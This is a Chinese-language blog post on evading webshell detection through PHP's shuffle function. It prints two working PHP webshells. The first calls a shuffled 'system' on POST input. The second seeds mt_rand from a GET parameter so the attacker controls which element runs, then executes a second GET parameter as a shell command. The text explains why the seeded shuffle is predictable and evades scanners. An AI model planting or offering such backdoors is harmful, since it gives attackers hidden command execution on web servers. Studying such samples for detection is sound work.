记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
EasyGBS2 分钟前
国标GB28181视频分析平台EasyGBS视频质量诊断助力能源矿山行业实现安全高效管控体系
安全·音视频·能源
风舞雪凌月2 分钟前
【趣谈】移动系统和桌面系统编程语言思考
java·c语言·c++·python·学习·objective-c·swift
88号技师2 分钟前
2026年3月新锐一区SCI-随机社会学习优化算法Stochastic social learning-附Matlab免费代码
学习·算法·数学建模·matlab·优化算法
她说..12 分钟前
Spring单例Bean线程安全问题 深度解析
java·后端·安全·spring·springboot
今儿敲了吗12 分钟前
Linux学习笔记第三章——基础命令(一)
linux·笔记·学习
冰语竹14 分钟前
Android学习之Activity生命周期
android·学习
桌面运维家19 分钟前
Windows防火墙高级配置:网络安全深度优化
windows·安全·web安全
Engineer邓祥浩23 分钟前
JVM学习问题记录(2) jps命令无法识别
jvm·学习
lizhenjun11425 分钟前
Aosp14及后续版本默认不可用profiler调试问题分析
android·学习
147API28 分钟前
Claude Code 新增「计算机使用」能力:架构解析、自动化场景与安全风险避坑
运维·安全·自动化·claude